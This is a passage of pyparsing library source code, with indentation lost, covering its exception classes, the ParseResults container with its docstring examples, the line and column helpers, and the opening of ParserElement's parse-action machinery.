line_column = self.column - 1
if markerString:
line_str = "".join((line_str[:line_column],
markerString, line_str[line_column:]))
return line_str.strip()
def __dir__(self):
return "lineno col line".split() + dir(type(self))
class ParseException(ParseBaseException):
"""
Exception thrown when parse expressions don't match class;
supported attributes by name are:
- lineno - returns the line number of the exception text
- col - returns the column number of the exception text
- line - returns the line containing the exception text
Example::
try:
Word(nums).setName("integer").parseString("ABC")
except ParseException as pe:
print(pe)
print("column: {}".format(pe.col))
prints::
Expected integer (at char 0), (line:1, col:1)
column: 1
"""
pass
class ParseFatalException(ParseBaseException):
"""user-throwable exception thrown when inconsistent parse content
is found; stops all parsing immediately"""
pass
class ParseSyntaxException(ParseFatalException):
"""just like L{ParseFatalException}, but thrown internally when an
L{ErrorStop<And._ErrorStop>} ('-' operator) indicates that parsing is to stop
immediately because an unbacktrackable syntax error has been found"""
pass
#~ class ReparseException(ParseBaseException):
#~ """Experimental class - parse actions can raise this exception to cause
#~ pyparsing to reparse the input string:
#~ - with a modified input string, and/or
#~ - with a modified start location
#~ Set the values of the ReparseException in the constructor, and raise the
#~ exception in a parse action to cause pyparsing to use the new string/location.
#~ Setting the values as None causes no change to be made.
#~ """
#~ def __init_( self, newstring, restartLoc ):
#~ self.newParseText = newstring
#~ self.reparseLoc = restartLoc
class RecursiveGrammarException(Exception):
"""exception thrown by L{ParserElement.validate} if the grammar could be improperly recursive"""
def __init__( self, parseElementList ):
self.parseElementTrace = parseElementList
def __str__( self ):
return "RecursiveGrammarException: %s" % self.parseElementTrace
class _ParseResultsWithOffset(object):
def __init__(self,p1,p2):
self.tup = (p1,p2)
def __getitem__(self,i):
return self.tup[i]
def __repr__(self):
return repr(self.tup[0])
def setOffset(self,i):
self.tup = (self.tup[0],i)
class ParseResults(object):
"""
Structured parse results, to provide multiple means of access to the parsed data:
- as a list (C{len(results)})
- by list index (C{results[0], results[1]}, etc.)
- by attribute (C{results.<resultsName>} - see L{ParserElement.setResultsName})
Example::
integer = Word(nums)
date_str = (integer.setResultsName("year") + '/'
+ integer.setResultsName("month") + '/'
+ integer.setResultsName("day"))
# equivalent form:
# date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
# parseString returns a ParseResults object
result = date_str.parseString("1999/12/31")
def test(s, fn=repr):
print("%s -> %s" % (s, fn(eval(s))))
test("list(result)")
test("result[0]")
test("result['month']")
test("result.day")
test("'month' in result")
test("'minutes' in result")
test("result.dump()", str)
prints::
list(result) -> ['1999', '/', '12', '/', '31']
result[0] -> '1999'
result['month'] -> '12'
result.day -> '31'
'month' in result -> True
'minutes' in result -> False
result.dump() -> ['1999', '/', '12', '/', '31']
- day: 31
- month: 12
- year: 1999
"""
def __new__(cls, toklist=None, name=None, asList=True, modal=True ):
if isinstance(toklist, cls):
return toklist
retobj = object.__new__(cls)
retobj.__doinit = True
return retobj
# Performance tuning: we construct a *lot* of these, so keep this
# constructor as small and fast as possible
def __init__( self, toklist=None, name=None, asList=True, modal=True, isinstance=isinstance ):
if self.__doinit:
self.__doinit = False
self.__name = None
self.__parent = None
self.__accumNames = {}
self.__asList = asList
self.__modal = modal
if toklist is None:
toklist = []
if isinstance(toklist, list):
self.__toklist = toklist[:]
elif isinstance(toklist, _generatorType):
self.__toklist = list(toklist)
else:
self.__toklist = [toklist]
self.__tokdict = dict()
if name is not None and name:
if not modal:
self.__accumNames[name] = 0
if isinstance(name,int):
name = _ustr(name) # will always return a str, but use _ustr for consistency
self.__name = name
if not (isinstance(toklist, (type(None), basestring, list)) and toklist in (None,'',[])):
if isinstance(toklist,basestring):
toklist = [ toklist ]
if asList:
if isinstance(toklist,ParseResults):
self[name] = _ParseResultsWithOffset(toklist.copy(),0)
else:
self[name] = _ParseResultsWithOffset(ParseResults(toklist[0]),0)
self[name].__name = name
else:
try:
self[name] = toklist[0]
except (KeyError,TypeError,IndexError):
self[name] = toklist
def __getitem__( self, i ):
if isinstance( i, (int,slice) ):
return self.__toklist[i]
else:
if i not in self.__accumNames:
return self.__tokdict[i][-1][0]
else:
return ParseResults([ v[0] for v in self.__tokdict[i] ])
def __setitem__( self, k, v, isinstance=isinstance ):
if isinstance(v,_ParseResultsWithOffset):
self.__tokdict[k] = self.__tokdict.get(k,list()) + [v]
sub = v[0]
elif isinstance(k,(int,slice)):
self.__toklist[k] = v
sub = v
else:
self.__tokdict[k] = self.__tokdict.get(k,list()) + [_ParseResultsWithOffset(v,0)]
sub = v
if isinstance(sub,ParseResults):
sub.__parent = wkref(self)
def __delitem__( self, i ):
if isinstance(i,(int,slice)):
mylen = len( self.__toklist )
del self.__toklist[i]
# convert int to slice
if isinstance(i, int):
if i < 0:
i += mylen
i = slice(i, i+1)
# get removed indices
removed = list(range(*i.indices(mylen)))
removed.reverse()
# fixup indices in token dictionary
for name,occurrences in self.__tokdict.items():
for j in removed:
for k, (value, position) in enumerate(occurrences):
occurrences[k] = _ParseResultsWithOffset(value, position - (position > j))
else:
del self.__tokdict[i]
def __contains__( self, k ):
return k in self.__tokdict
def __len__( self ): return len( self.__toklist )
def __bool__(self): return ( not not self.__toklist )
__nonzero__ = __bool__
def __iter__( self ): return iter( self.__toklist )
def __reversed__( self ): return iter( self.__toklist[::-1] )
def _iterkeys( self ):
if hasattr(self.__tokdict, "iterkeys"):
return self.__tokdict.iterkeys()
else:
return iter(self.__tokdict)
def _itervalues( self ):
return (self[k] for k in self._iterkeys())
def _iteritems( self ):
return ((k, self[k]) for k in self._iterkeys())
if PY_3:
keys = _iterkeys
"""Returns an iterator of all named result keys (Python 3.x only)."""
values = _itervalues
"""Returns an iterator of all named result values (Python 3.x only)."""
items = _iteritems
"""Returns an iterator of all named result key-value tuples (Python 3.x only)."""
else:
iterkeys = _iterkeys
"""Returns an iterator of all named result keys (Python 2.x only)."""
itervalues = _itervalues
"""Returns an iterator of all named result values (Python 2.x only)."""
iteritems = _iteritems
"""Returns an iterator of all named result key-value tuples (Python 2.x only)."""
def keys( self ):
"""Returns all named result keys (as a list in Python 2.x, as an iterator in Python 3.x)."""
return list(self.iterkeys())
def values( self ):
"""Returns all named result values (as a list in Python 2.x, as an iterator in Python 3.x)."""
return list(self.itervalues())
def items( self ):
"""Returns all named result key-values (as a list of tuples in Python 2.x, as an iterator in Python 3.x)."""
return list(self.iteritems())
def haskeys( self ):
"""Since keys() returns an iterator, this method is helpful in bypassing
code that looks for the existence of any defined results names."""
return bool(self.__tokdict)
def pop( self, *args, **kwargs):
"""
Removes and returns item at specified index (default=C{last}).
Supports both C{list} and C{dict} semantics for C{pop()}. If passed no
argument or an integer argument, it will use C{list} semantics
and pop tokens from the list of parsed tokens. If passed a
non-integer argument (most likely a string), it will use C{dict}
semantics and pop the corresponding value from any defined
results names. A second default return value argument is
supported, just as in C{dict.pop()}.
Example::
def remove_first(tokens):
tokens.pop(0)
print(OneOrMore(Word(nums)).parseString("0 123 321")) # -> ['0', '123', '321']
print(OneOrMore(Word(nums)).addParseAction(remove_first).parseString("0 123 321")) # -> ['123', '321']
label = Word(alphas)
patt = label("LABEL") + OneOrMore(Word(nums))
print(patt.parseString("AAB 123 321").dump())
# Use pop() in a parse action to remove named result (note that corresponding value is not
# removed from list form of results)
def remove_LABEL(tokens):
tokens.pop("LABEL")
return tokens
patt.addParseAction(remove_LABEL)
print(patt.parseString("AAB 123 321").dump())
prints::
['AAB', '123', '321']
- LABEL: AAB
['AAB', '123', '321']
"""
if not args:
args = [-1]
for k,v in kwargs.items():
if k == 'default':
args = (args[0], v)
else:
raise TypeError("pop() got an unexpected keyword argument '%s'" % k)
if (isinstance(args[0], int) or
len(args) == 1 or
args[0] in self):
index = args[0]
ret = self[index]
del self[index]
return ret
else:
defaultvalue = args[1]
return defaultvalue
def get(self, key, defaultValue=None):
"""
Returns named result matching the given key, or if there is no
such name, then returns the given C{defaultValue} or C{None} if no
C{defaultValue} is specified.
Similar to C{dict.get()}.
Example::
integer = Word(nums)
date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
result = date_str.parseString("1999/12/31")
print(result.get("year")) # -> '1999'
print(result.get("hour", "not specified")) # -> 'not specified'
print(result.get("hour")) # -> None
"""
if key in self:
return self[key]
else:
return defaultValue
def insert( self, index, insStr ):
"""
Inserts new element at location index in the list of parsed tokens.
Similar to C{list.insert()}.
Example::
print(OneOrMore(Word(nums)).parseString("0 123 321")) # -> ['0', '123', '321']
# use a parse action to insert the parse location in the front of the parsed results
def insert_locn(locn, tokens):
tokens.insert(0, locn)
print(OneOrMore(Word(nums)).addParseAction(insert_locn).parseString("0 123 321")) # -> [0, '0', '123', '321']
"""
self.__toklist.insert(index, insStr)
# fixup indices in token dictionary
for name,occurrences in self.__tokdict.items():
for k, (value, position) in enumerate(occurrences):
occurrences[k] = _ParseResultsWithOffset(value, position + (position > index))
def append( self, item ):
"""
Add single element to end of ParseResults list of elements.
Example::
print(OneOrMore(Word(nums)).parseString("0 123 321")) # -> ['0', '123', '321']
# use a parse action to compute the sum of the parsed integers, and add it to the end
def append_sum(tokens):
tokens.append(sum(map(int, tokens)))
print(OneOrMore(Word(nums)).addParseAction(append_sum).parseString("0 123 321")) # -> ['0', '123', '321', 444]
"""
self.__toklist.append(item)
def extend( self, itemseq ):
"""
Add sequence of elements to end of ParseResults list of elements.
Example::
patt = OneOrMore(Word(alphas))
# use a parse action to append the reverse of the matched strings, to make a palindrome
def make_palindrome(tokens):
tokens.extend(reversed([t[::-1] for t in tokens]))
return ''.join(tokens)
print(patt.addParseAction(make_palindrome).parseString("lskdj sdlkjf lksd")) # -> 'lskdjsdlkjflksddsklfjkldsjdksl'
"""
if isinstance(itemseq, ParseResults):
self += itemseq
else:
self.__toklist.extend(itemseq)
def clear( self ):
"""
Clear all elements and results names.
"""
del self.__toklist[:]
self.__tokdict.clear()
def __getattr__( self, name ):
try:
return self[name]
except KeyError:
return ""
if name in self.__tokdict:
if name not in self.__accumNames:
return self.__tokdict[name][-1][0]
else:
return ParseResults([ v[0] for v in self.__tokdict[name] ])
else:
return ""
def __add__( self, other ):
ret = self.copy()
ret += other
return ret
def __iadd__( self, other ):
if other.__tokdict:
offset = len(self.__toklist)
addoffset = lambda a: offset if a<0 else a+offset
otheritems = other.__tokdict.items()
otherdictitems = [(k, _ParseResultsWithOffset(v[0],addoffset(v[1])) )
for (k,vlist) in otheritems for v in vlist]
for k,v in otherdictitems:
self[k] = v
if isinstance(v[0],ParseResults):
v[0].__parent = wkref(self)
self.__toklist += other.__toklist
self.__accumNames.update( other.__accumNames )
return self
def __radd__(self, other):
if isinstance(other,int) and other == 0:
# useful for merging many ParseResults using sum() builtin
return self.copy()
else:
# this may raise a TypeError - so be it
return other + self
def __repr__( self ):
return "(%s, %s)" % ( repr( self.__toklist ), repr( self.__tokdict ) )
def __str__( self ):
return '[' + ', '.join(_ustr(i) if isinstance(i, ParseResults) else repr(i) for i in self.__toklist) + ']'
def _asStringList( self, sep='' ):
out = []
for item in self.__toklist:
if out and sep:
out.append(sep)
if isinstance( item, ParseResults ):
out += item._asStringList()
else:
out.append( _ustr(item) )
return out
def asList( self ):
"""
Returns the parse results as a nested list of matching tokens, all converted to strings.
Example::
patt = OneOrMore(Word(alphas))
result = patt.parseString("sldkj lsdkj sldkj")
# even though the result prints in string-like form, it is actually a pyparsing ParseResults
print(type(result), result) # -> <class 'pyparsing.ParseResults'> ['sldkj', 'lsdkj', 'sldkj']
# Use asList() to create an actual list
result_list = result.asList()
print(type(result_list), result_list) # -> <class 'list'> ['sldkj', 'lsdkj', 'sldkj']
"""
return [res.asList() if isinstance(res,ParseResults) else res for res in self.__toklist]
def asDict( self ):
"""
Returns the named parse results as a nested dictionary.
Example::
integer = Word(nums)
date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
result = date_str.parseString('12/31/1999')
print(type(result), repr(result)) # -> <class 'pyparsing.ParseResults'> (['12', '/', '31', '/', '1999'], {'day': [('1999', 4)], 'year': [('12', 0)], 'month': [('31', 2)]})
result_dict = result.asDict()
print(type(result_dict), repr(result_dict)) # -> <class 'dict'> {'day': '1999', 'year': '12', 'month': '31'}
# even though a ParseResults supports dict-like access, sometime you just need to have a dict
import json
print(json.dumps(result)) # -> Exception: TypeError: ... is not JSON serializable
print(json.dumps(result.asDict())) # -> {"month": "31", "day": "1999", "year": "12"}
"""
if PY_3:
item_fn = self.items
else:
item_fn = self.iteritems
def toItem(obj):
if isinstance(obj, ParseResults):
if obj.haskeys():
return obj.asDict()
else:
return [toItem(v) for v in obj]
else:
return obj
return dict((k,toItem(v)) for k,v in item_fn())
def copy( self ):
"""
Returns a new copy of a C{ParseResults} object.
"""
ret = ParseResults( self.__toklist )
ret.__tokdict = self.__tokdict.copy()
ret.__parent = self.__parent
ret.__accumNames.update( self.__accumNames )
ret.__name = self.__name
return ret
def asXML( self, doctag=None, namedItemsOnly=False, indent="", formatted=True ):
"""
(Deprecated) Returns the parse results as XML. Tags are created for tokens and lists that have defined results names.
"""
nl = "\n"
out = []
namedItems = dict((v[1],k) for (k,vlist) in self.__tokdict.items()
for v in vlist)
nextLevelIndent = indent + " "
# collapse out indents if formatting is not desired
if not formatted:
indent = ""
nextLevelIndent = ""
nl = ""
selfTag = None
if doctag is not None:
selfTag = doctag
else:
if self.__name:
selfTag = self.__name
if not selfTag:
if namedItemsOnly:
return ""
else:
selfTag = "ITEM"
out += [ nl, indent, "<", selfTag, ">" ]
for i,res in enumerate(self.__toklist):
if isinstance(res,ParseResults):
if i in namedItems:
out += [ res.asXML(namedItems[i],
namedItemsOnly and doctag is None,
nextLevelIndent,
formatted)]
else:
out += [ res.asXML(None,
namedItemsOnly and doctag is None,
nextLevelIndent,
formatted)]
else:
# individual token, see if there is a name for it
resTag = None
if i in namedItems:
resTag = namedItems[i]
if not resTag:
if namedItemsOnly:
continue
else:
resTag = "ITEM"
xmlBodyText = _xml_escape(_ustr(res))
out += [ nl, nextLevelIndent, "<", resTag, ">",
xmlBodyText,
"</", resTag, ">" ]
out += [ nl, indent, "</", selfTag, ">" ]
return "".join(out)
def __lookup(self,sub):
for k,vlist in self.__tokdict.items():
for v,loc in vlist:
if sub is v:
return k
return None
def getName(self):
"""
Returns the results name for this token expression. Useful when several
different expressions might match at a particular location.
Example::
integer = Word(nums)
ssn_expr = Regex(r"\d\d\d-\d\d-\d\d\d\d")
house_number_expr = Suppress('#') + Word(nums, alphanums)
user_data = (Group(house_number_expr)("house_number")
| Group(ssn_expr)("ssn")
| Group(integer)("age"))
user_info = OneOrMore(user_data)
result = user_info.parseString("22 111-22-3333 #221B")
for item in result:
print(item.getName(), ':', item[0])
prints::
age : 22
ssn : 111-22-3333
house_number : 221B
"""
if self.__name:
return self.__name
elif self.__parent:
par = self.__parent()
if par:
return par.__lookup(self)
else:
return None
elif (len(self) == 1 and
len(self.__tokdict) == 1 and
next(iter(self.__tokdict.values()))[0][1] in (0,-1)):
return next(iter(self.__tokdict.keys()))
else:
return None
def dump(self, indent='', depth=0, full=True):
"""
Diagnostic method for listing out the contents of a C{ParseResults}.
Accepts an optional C{indent} argument so that this string can be embedded
in a nested display of other data.
Example::
integer = Word(nums)
date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
result = date_str.parseString('12/31/1999')
print(result.dump())
prints::
['12', '/', '31', '/', '1999']
- day: 1999
- month: 31
- year: 12
"""
out = []
NL = '\n'
out.append( indent+_ustr(self.asList()) )
if full:
if self.haskeys():
items = sorted((str(k), v) for k,v in self.items())
for k,v in items:
if out:
out.append(NL)
out.append( "%s%s- %s: " % (indent,(' '*depth), k) )
if isinstance(v,ParseResults):
if v:
out.append( v.dump(indent,depth+1) )
else:
out.append(_ustr(v))
else:
out.append(repr(v))
elif any(isinstance(vv,ParseResults) for vv in self):
v = self
for i,vv in enumerate(v):
if isinstance(vv,ParseResults):
out.append("\n%s%s[%d]:\n%s%s%s" % (indent,(' '*(depth)),i,indent,(' '*(depth+1)),vv.dump(indent,depth+1) ))
else:
out.append("\n%s%s[%d]:\n%s%s%s" % (indent,(' '*(depth)),i,indent,(' '*(depth+1)),_ustr(vv)))
return "".join(out)
def pprint(self, *args, **kwargs):
"""
Pretty-printer for parsed results as a list, using the C{pprint} module.
Accepts additional positional or keyword args as defined for the
C{pprint.pprint} method. (U{http://docs.python.org/3/library/pprint.html#pprint.pprint})
Example::
ident = Word(alphas, alphanums)
num = Word(nums)
func = Forward()
term = ident | num | Group('(' + func + ')')
func <<= ident + Group(Optional(delimitedList(term)))
result = func.parseString("fna a,b,(fnb c,d,200),100")
result.pprint(width=40)
prints::
['fna',
['a',
'b',
['(', 'fnb', ['c', 'd', '200'], ')'],
'100']]
"""
pprint.pprint(self.asList(), *args, **kwargs)
# add support for pickle protocol
def __getstate__(self):
return ( self.__toklist,
( self.__tokdict.copy(),
self.__parent is not None and self.__parent() or None,
self.__accumNames,
self.__name ) )
def __setstate__(self,state):
self.__toklist = state[0]
(self.__tokdict,
par,
inAccumNames,
self.__name) = state[1]
self.__accumNames = {}
self.__accumNames.update(inAccumNames)
if par is not None:
self.__parent = wkref(par)
else:
self.__parent = None
def __getnewargs__(self):
return self.__toklist, self.__name, self.__asList, self.__modal
def __dir__(self):
return (dir(type(self)) + list(self.keys()))
collections.MutableMapping.register(ParseResults)
def col (loc,strg):
"""Returns current column within a string, counting newlines as line separators.
The first column is number 1.
Note: the default parsing behavior is to expand tabs in the input string
before starting the parsing process. See L{I{ParserElement.parseString}<ParserElement.parseString>} for more information
on parsing strings containing C{<TAB>}s, and suggested methods to maintain a
consistent view of the parsed string, the parse location, and line and column
positions within the parsed string.
"""
s = strg
return 1 if 0<loc<len(s) and s[loc-1] == '\n' else loc - s.rfind("\n", 0, loc)
def lineno(loc,strg):
"""Returns current line number within a string, counting newlines as line separators.
The first line is number 1.
Note: the default parsing behavior is to expand tabs in the input string
before starting the parsing process. See L{I{ParserElement.parseString}<ParserElement.parseString>} for more information
on parsing strings containing C{<TAB>}s, and suggested methods to maintain a
consistent view of the parsed string, the parse location, and line and column
positions within the parsed string.
"""
return strg.count("\n",0,loc) + 1
def line( loc, strg ):
"""Returns the line of text containing loc within a string, counting newlines as line separators.
"""
lastCR = strg.rfind("\n", 0, loc)
nextCR = strg.find("\n", loc)
if nextCR >= 0:
return strg[lastCR+1:nextCR]
else:
return strg[lastCR+1:]
def _defaultStartDebugAction( instring, loc, expr ):
print (("Match " + _ustr(expr) + " at loc " + _ustr(loc) + "(%d,%d)" % ( lineno(loc,instring), col(loc,instring) )))
def _defaultSuccessDebugAction( instring, startloc, endloc, expr, toks ):
print ("Matched " + _ustr(expr) + " -> " + str(toks.asList()))
def _defaultExceptionDebugAction( instring, loc, expr, exc ):
print ("Exception raised:" + _ustr(exc))
def nullDebugAction(*args):
"""'Do-nothing' debug action, to suppress debugging output during parsing."""
pass
# Only works on Python 3.x - nonlocal is toxic to Python 2 installs
#~ 'decorator to trim function calls to match the arity of the target'
#~ def _trim_arity(func, maxargs=3):
#~ if func in singleArgBuiltins:
#~ return lambda s,l,t: func(t)
#~ limit = 0
#~ foundArity = False
#~ def wrapper(*args):
#~ nonlocal limit,foundArity
#~ while 1:
#~ try:
#~ ret = func(*args[limit:])
#~ foundArity = True
#~ return ret
#~ except TypeError:
#~ if limit == maxargs or foundArity:
#~ raise
#~ limit += 1
#~ continue
#~ return wrapper
# this version is Python 2.x-3.x cross-compatible
'decorator to trim function calls to match the arity of the target'
def _trim_arity(func, maxargs=2):
if func in singleArgBuiltins:
return lambda s,l,t: func(t)
limit = [0]
foundArity = [False]
# traceback return data structure changed in Py3.5 - normalize back to plain tuples
if system_version[:2] >= (3,5):
def extract_stack(limit=0):
# special handling for Python 3.5.0 - extra deep call stack by 1
offset = -3 if system_version == (3,5,0) else -2
frame_summary = traceback.extract_stack(limit=-offset+limit-1)[offset]
return [(frame_summary.filename, frame_summary.lineno)]
def extract_tb(tb, limit=0):
frames = traceback.extract_tb(tb, limit=limit)
frame_summary = frames[-1]
return [(frame_summary.filename, frame_summary.lineno)]
else:
extract_stack = traceback.extract_stack
extract_tb = traceback.extract_tb
# synthesize what would be returned by traceback.extract_stack at the call to
# user's parse action 'func', so that we don't incur call penalty at parse time
LINE_DIFF = 6
# IF ANY CODE CHANGES, EVEN JUST COMMENTS OR BLANK LINES, BETWEEN THE NEXT LINE AND
# THE CALL TO FUNC INSIDE WRAPPER, LINE_DIFF MUST BE MODIFIED!!!!
this_line = extract_stack(limit=2)[-1]
pa_call_line_synth = (this_line[0], this_line[1]+LINE_DIFF)
def wrapper(*args):
while 1:
try:
ret = func(*args[limit[0]:])
foundArity[0] = True
return ret
except TypeError:
# re-raise TypeErrors if they did not come from our arity testing
if foundArity[0]:
raise
else:
try:
tb = sys.exc_info()[-1]
if not extract_tb(tb, limit=2)[-1][:2] == pa_call_line_synth:
raise
finally:
del tb
if limit[0] <= maxargs:
limit[0] += 1
continue
raise
# copy func name to wrapper for sensible debug output
func_name = "<parse action>"
try:
func_name = getattr(func, '__name__',
getattr(func, '__class__').__name__)
except Exception:
func_name = str(func)
wrapper.__name__ = func_name
return wrapper
class ParserElement(object):
"""Abstract base level parser element class."""
DEFAULT_WHITE_CHARS = " \n\t\r"
verbose_stacktrace = False
@staticmethod
def setDefaultWhitespaceChars( chars ):
r"""
Overrides the default whitespace chars
Example::
# default whitespace chars are space, <TAB> and newline
OneOrMore(Word(alphas)).parseString("abc def\nghi jkl") # -> ['abc', 'def', 'ghi', 'jkl']
# change to just treat newline as significant
ParserElement.setDefaultWhitespaceChars(" \t")
OneOrMore(Word(alphas)).parseString("abc def\nghi jkl") # -> ['abc', 'def']
"""
ParserElement.DEFAULT_WHITE_CHARS = chars
@staticmethod
def inlineLiteralsUsing(cls):
"""
Set class to be used for inclusion of string literals into a parser.
Example::
# default literal class used is Literal
integer = Word(nums)
date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
date_str.parseString("1999/12/31") # -> ['1999', '/', '12', '/', '31']
# change to Suppress
ParserElement.inlineLiteralsUsing(Suppress)
date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
date_str.parseString("1999/12/31") # -> ['1999', '12', '31']
"""
ParserElement._literalStringClass = cls
def __init__( self, savelist=False ):
self.parseAction = list()
self.failAction = None
#~ self.name = "<unknown>" # don't define self.name, let subclasses try/except upcall
self.strRepr = None
self.resultsName = None
self.saveAsList = savelist
self.skipWhitespace = True
self.whiteChars = ParserElement.DEFAULT_WHITE_CHARS
self.copyDefaultWhiteChars = True
self.mayReturnEmpty = False # used when checking for left-recursion
self.keepTabs = False
self.ignoreExprs = list()
self.debug = False
self.streamlined = False
self.mayIndexError = True # used to optimize exception handling for subclasses that don't advance parse index
self.errmsg = ""
self.modalResults = True # used to mark results names as modal (report only last) or cumulative (list all)
self.debugActions = ( None, None, None ) #custom debug actions
self.re = None
self.callPreparse = True # used to avoid redundant calls to preParse
self.callDuringTry = False
def copy( self ):
"""
Make a copy of this C{ParserElement}. Useful for defining different parse actions
for the same parsing pattern, using copies of the original parse element.
Example::
integer = Word(nums).setParseAction(lambda toks: int(toks[0]))
integerK = integer.copy().addParseAction(lambda toks: toks[0]*1024) + Suppress("K")
integerM = integer.copy().addParseAction(lambda toks: toks[0]*1024*1024) + Suppress("M")
print(OneOrMore(integerK | integerM | integer).parseString("5K 100 640K 256M"))
prints::
[5120, 100, 655360, 268435456]
Equivalent form of C{expr.copy()} is just C{expr()}::
integerM = integer().addParseAction(lambda toks: toks[0]*1024*1024) + Suppress("M")
"""
cpy = copy.copy( self )
cpy.parseAction = self.parseAction[:]
cpy.ignoreExprs = self.ignoreExprs[:]
if self.copyDefaultWhiteChars:
cpy.whiteChars = ParserElement.DEFAULT_WHITE_CHARS
return cpy
def setName( self, name ):
"""
Define name for this expression, makes debugging and exception messages clearer.
Example::
Word(nums).parseString("ABC") # -> Exception: Expected W:(0123...) (at char 0), (line:1, col:1)
Word(nums).setName("integer").parseString("ABC") # -> Exception: Expected integer (at char 0), (line:1, col:1)
"""
self.name = name
self.errmsg = "Expected " + self.name
if hasattr(self,"exception"):
self.exception.msg = self.errmsg
return self
def setResultsName( self, name, listAllMatches=False ):
"""
Define name for referencing matching tokens as a nested attribute
of the returned parse results.
NOTE: this returns a *copy* of the original C{ParserElement} object;
this is so that the client can define a basic element, such as an
integer, and reference it in multiple places with different names.
You can also set results names using the abbreviated syntax,
C{expr("name")} in place of C{expr.setResultsName("name")} -
see L{I{__call__}<__call__>}.
Example::
date_str = (integer.setResultsName("year") + '/'
+ integer.setResultsName("month") + '/'
+ integer.setResultsName("day"))
# equivalent form:
date_str = integer("year") + '/' + integer("month") + '/' + integer("day")
"""
newself = self.copy()
if name.endswith("*"):
name = name[:-1]
listAllMatches=True
newself.resultsName = name
newself.modalResults = not listAllMatches
return newself
def setBreak(self,breakFlag = True):
"""Method to invoke the Python pdb debugger when this element is
about to be parsed. Set C{breakFlag} to True to enable, False to
disable.
"""
if breakFlag:
_parseMethod = self._parse
def breaker(instring, loc, doActions=True, callPreParse=True):
import pdb
pdb.set_trace()
return _parseMethod( instring, loc, doActions, callPreParse )
breaker._originalParseMethod = _parseMethod
self._parse = breaker
else:
if hasattr(self._parse,"_originalParseMethod"):
self._parse = self._parse._originalParseMethod
return self
def setParseAction( self, *fns, **kwargs ):
"""
Define action to perform when successfully matching parse element definition.
Parse action fn is a callable method with 0-3 arguments, called as C{fn(s,loc,toks)},
C{fn(loc,toks)}, C{fn(toks)}, or just C{fn()}, where:
- s = the original string being parsed (see note below)
- loc = the location of the matching substring
- toks = a list of the matched tokens, packaged as a C{L{ParseResults}} object
If the functions in fns modify the tokens, they can return them as the return
value from fn, and the modified list of tokens will replace the original.
Otherwise, fn does not need to return any value.
Optional keyword arguments:
- callDuringTry = (default=C{False}) indicate if parse action should be run during lookaheads and alternate testing
Note: the default parsing behavior is to expand tabs in the input string
before starting the parsing process. See L{I{parseString}<parseString>} for more information
on parsing strings containing C{<TAB>}s, and suggested methods to maintain a
consistent view of the parsed string, the parse location, and line and column
positions within the parsed string.
Example::
integer = Word(nums)
date_str = integer + '/' + integer + '/' + integer
date_str.parseString("1999/12/31") # -> ['1999', '/', '12', '/', '31']
# use parse action to convert to ints at parse time
integer = Word(nums).setParseAction(lambda toks: int(toks[0]))
date_str = integer + '/' + integer + '/' + integer
# note that integer fields are now ints, not strings
date_str.parseString("1999/12/31") # -> [1999, '/', 12, '/', 31]
"""
self.parseAction = list(map(_trim_arity, list(fns)))
self.callDuringTry = kwargs.get("callDuringTry", False)
return self
def addParseAction( self, *fns, **kwargs ):
"""
Add parse action to expression's list of parse actions. See L{I{setParseAction}<setParseAction>}.
See examples in L{I{copy}<copy>}.
"""
self.parseAction += list(map(_trim_arity, list(fns)))
self.callDuringTry = self.callDuringTry or kwargs.get("callDuringTry", False)
return self
def addCondition(self, *fns, **kwargs):
"""Add a boolean predicate function to expression's list of parse actions. See
L{I{setParseAction}<setParseAction>} for function call signatures. Unlike C{setParseAction},
functions passed to C{addCondition} need to return boolean success/fail of the condition.
Optional keyword arguments:
- message = define a custom message to be used in the raised exception
- fatal = if True, will raise ParseFatalException to stop parsing immediately; otherwise will raise ParseException
Example::
integer = Word(nums).setParseAction(lambda toks: int(toks[0]))
year_int = integer.copy()
year_int.addCondition(lambda toks: toks[0] >= 2000, message="Only support years 2000 and later")
date_str = year_int + '/' + integer + '/' + integer
result = date_str.parseString("1999/12/31") # -> Exception: Only support years 2000 and later (at char 0), (line:1, col:1)
"""
msg = kwargs.get("message", "failed user-defined condition")
exc_type = ParseFatalException if kwargs.get("fatal", False) else ParseException
for fn in fns:
def pa(s,l,t):
if not bool(_trim_arity(fn)(s,l,t)):
raise exc_type(s,l,msg)
self.parseAction.append(pa)
self.callDuringTry = self.callDuringTry or kwargs.get("callDuringTry", False)
return self
def setFailAction( self, fn ):
"""Define action to perform if parsing fails at this expression.
Fail acton fn is a callable function that takes the arguments
C{fn(s,loc,expr,err)} where:
- s = string being parsed
- loc = location where expression match was attempted and failed
- expr = the parse expression that failed
- err = the exception thrown
The function returns no value. It may throw C{L{ParseFatalException}}
if it is desired to stop parsing immediately."""
self.failAction = fn
return self
def _skipIgnorables( self, instring, loc ):
exprsFound = True
while exprsFound:
exprsFound = False
for e in self.ignoreExprs:
try:
while 1:
loc,dummy = e._parse( instring, loc )
exprsFound = True
except ParseException:
pass
return loc
def preParse( self, instring, loc ):
if self.ignoreExprs:
loc = self._skipIgnorables( instring, loc )
if self.skipWhitespace:
wt = self.whiteChars
instrlen = len(instring)
while loc < instrlen and instring[loc] in wt:
loc += 1
return loc
def parseImpl( self, instring, loc, doActions=True ):
return loc, []
def postParse( self, instring, loc, tokenlist ):
return tokenlist
#~ @profile
def _parseNoCache( self, instring, loc, doActions=True, callPreParse=True ):
debugging = ( self.debug ) #and doActions )
if debugging or self.failAction:
#~ print ("Match",self,"at loc",loc,"(%d,%d)" % ( lineno(loc,instring), col(loc,instring) ))
if (self.debugActions[0] ):
self.debugActions[0]( instring, loc, self )
if callPreParse and self.callPreparse:
preloc = self.preParse( instring, loc )
else:
preloc = loc
tokensStart = preloc
try:
try:
loc,tokens = self.parseImpl( instring, preloc, doActions )
except IndexError:
raise ParseException( instring, len(instring), self.errmsg, self )
except ParseBaseException as err:
#~ print ("Exception raised:", err)
if self.debugActions[2]:
self.debugActions[2]( instring, tokensStart, self, err )
if self.failAction:
self.failAction( instring, tokensStart, self, err )
raise
else:
if callPreParse and self.callPreparse:
preloc = self.preParse( instring, loc )
else:
preloc = loc
tokensStart = preloc
if self.mayIndexError or loc >= len(instring):
try:
loc,tokens = self.parseImpl( instring, preloc, doActions )
except IndexError:
raise ParseException( instring, len(instring), self.errmsg, self )
else:
loc,tokens = self.parseImpl( instring, preloc, doActions )
